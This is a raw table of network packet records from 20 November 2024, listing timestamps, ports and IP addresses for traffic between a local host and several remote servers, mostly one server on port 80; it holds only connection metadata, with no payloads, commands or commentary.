Nov 20, 2024 23:12:53.757715940 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.757791996 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.814340115 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.822863102 CET	443	49865	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.827805996 CET	49865	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.827825069 CET	443	49865	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.828466892 CET	49865	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.828474045 CET	443	49865	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.932243109 CET	49875	443	192.168.2.7	23.49.251.21
Nov 20, 2024 23:12:53.932254076 CET	443	49875	23.49.251.21	192.168.2.7
Nov 20, 2024 23:12:53.932399988 CET	49875	443	192.168.2.7	23.49.251.21
Nov 20, 2024 23:12:53.932584047 CET	49876	443	192.168.2.7	23.49.251.21
Nov 20, 2024 23:12:53.932646036 CET	443	49876	23.49.251.21	192.168.2.7
Nov 20, 2024 23:12:53.932713032 CET	49876	443	192.168.2.7	23.49.251.21
Nov 20, 2024 23:12:53.932770967 CET	49875	443	192.168.2.7	23.49.251.21
Nov 20, 2024 23:12:53.932780981 CET	443	49875	23.49.251.21	192.168.2.7
Nov 20, 2024 23:12:53.932893038 CET	49876	443	192.168.2.7	23.49.251.21
Nov 20, 2024 23:12:53.932915926 CET	443	49876	23.49.251.21	192.168.2.7
Nov 20, 2024 23:12:53.933871031 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.954514027 CET	443	49863	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.954593897 CET	443	49863	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.954835892 CET	49863	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.954907894 CET	49863	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.954921961 CET	443	49863	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.954931974 CET	49863	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.954936981 CET	443	49863	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.958005905 CET	49877	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.958053112 CET	443	49877	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.958141088 CET	49877	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.958359003 CET	49877	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.958373070 CET	443	49877	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:54.042931080 CET	49878	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:54.042984009 CET	443	49878	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:54.043066978 CET	49878	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:54.043513060 CET	49879	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:54.043545008 CET	443	49879	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:54.043612003 CET	49879	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:54.043890953 CET	49880	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:54.043920994 CET	443	49880	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:54.044224977 CET	49880	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:54.044635057 CET	49881	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:54.044661045 CET	443	49881	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:54.044874907 CET	49878	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:54.044893026 CET	443	49878	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:54.044919968 CET	49881	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:54.045506954 CET	49882	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:54.045515060 CET	443	49882	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:54.045634031 CET	49882	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:54.045986891 CET	49879	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:54.046005964 CET	443	49879	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:54.046302080 CET	49880	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:54.046319008 CET	443	49880	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:54.046521902 CET	49881	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:54.046538115 CET	443	49881	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:54.046685934 CET	49882	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:54.046698093 CET	443	49882	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:54.245577097 CET	49883	443	192.168.2.7	23.49.251.21
Nov 20, 2024 23:12:54.245642900 CET	443	49883	23.49.251.21	192.168.2.7
Nov 20, 2024 23:12:54.245729923 CET	49883	443	192.168.2.7	23.49.251.21
Nov 20, 2024 23:12:54.245973110 CET	49883	443	192.168.2.7	23.49.251.21
Nov 20, 2024 23:12:54.245986938 CET	443	49883	23.49.251.21	192.168.2.7
Nov 20, 2024 23:12:54.269889116 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.269968033 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.270011902 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.270060062 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.270190954 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.270266056 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.270271063 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.270318985 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.271055937 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.271121979 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.271163940 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.271248102 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.271959066 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.272012949 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.272094965 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.272142887 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.272869110 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.272924900 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.273221970 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.273271084 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.273766994 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.273818970 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.273850918 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.273897886 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.274729013 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.274828911 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.274852037 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.274873972 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.275578022 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.275630951 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.275676966 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.275719881 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.276494980 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.276561022 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.276561022 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.276601076 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.277400970 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.277519941 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.277550936 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.277591944 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.278302908 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.278352976 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.278409004 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.278453112 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.279194117 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.279242039 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.279335976 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.279386997 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.280117035 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.280211926 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.280226946 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.280272007 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.280997038 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.281054020 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.312091112 CET	443	49865	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:54.312273026 CET	443	49865	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:54.312417030 CET	49865	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:54.312475920 CET	49865	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:54.312475920 CET	49865	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:54.312494993 CET	443	49865	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:54.312510014 CET	443	49865	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:54.315723896 CET	49884	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:54.315777063 CET	443	49884	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:54.315875053 CET	49884	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:54.316016912 CET	49884	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:54.316028118 CET	443	49884	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:54.394490004 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.394579887 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.394690990 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.394948959 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.395013094 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.395061970 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.395116091 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.395181894 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.395236015 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.395926952 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.396035910 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.396042109 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.396115065 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.396837950 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.396919966 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.396929979 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.396979094 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.397773027 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.397829056 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.397891045 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.398633957 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.398695946 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.398751974 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.398802996 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.399570942 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.399636030 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.399669886 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.399724007 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.400494099 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.400553942 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.400569916 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.400607109 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.401388884 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.401463032 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.401505947 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.401566029 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.402273893 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.402338028 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.402386904 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.402448893 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.403191090 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.403253078 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.403327942 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.403386116 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.404081106 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.404149055 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.404185057 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.404233932 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.404968023 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.405042887 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.405085087 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.405136108 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.405879974 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.405940056 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.405987978 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.406060934 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.406806946 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.406878948 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.406929970 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.406985044 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.407702923 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.407763004 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.407779932 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.407831907 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.408608913 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.408668041 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.408711910 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.408766031 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.409557104 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.409682989 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.409687996 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.409739017 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.410428047 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.410444975 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.410506010 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.411329985 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.411393881 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.411415100 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.411520004 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.412218094 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.412297010 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.412348986 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.412409067 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.413125992 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.413204908 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.413248062 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.413311005 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.414025068 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.414124966 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.414190054 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.414956093 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.415020943 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.415054083 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.415086985 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.415853977 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.415963888 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.416018009 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.416074991 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.416779041 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.416842937 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.416852951 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.416910887 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.417671919 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.417797089 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.443667889 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:54.443984032 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:54.443994999 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:54.444706917 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:54.445233107 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:54.445317984 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:54.445461988 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:54.445461988 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:54.445477962 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:54.519215107 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.519323111 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.519344091 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.519392967 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.519596100 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.519639015 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.519660950 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.519704103 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.520505905 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.520540953 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.520570040 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.520591021 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.521157980 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.521204948 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.521265984 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.521316051 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.522083044 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.522142887 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.522159100 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.522197008 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.522953987 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.523011923 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.523027897 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.523085117 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.523902893 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.523947954 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.524010897 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.524049997 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.524806023 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.524921894 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.525021076 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.525021076 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.525729895 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.525849104 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.525897026 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.526602030 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.526688099 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.526696920 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.526868105 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.527534962 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.527582884 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.527618885 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.527662992 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.528441906 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.528506994 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.528588057 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.528629065 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.529329062 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.529460907 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.529494047 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.529511929 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.530220032 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.530271053 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.530313015 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.530355930 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.531095028 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.531205893 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.531215906 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.531256914 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.532085896 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.532136917 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.532198906 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.532246113 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.532919884 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.532991886 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.533024073 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.533070087 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.533833981 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.533886909 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.533968925 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.534210920 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.534738064 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.534782887 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.534792900 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.534832954 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.535634995 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.535690069 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.535761118 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.535814047 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.536571026 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.536633968 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.536691904 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.536732912 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.537460089 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.537542105 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.537580013 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.537617922 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.538373947 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.538424015 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.538487911 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.538546085 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.539293051 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.539349079 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.539381027 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.539421082 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.540184975 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.540235996 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.540252924 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:54.540297985 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:54.541131020 CET	80	49799	185.215.113.206	192.168.2.7
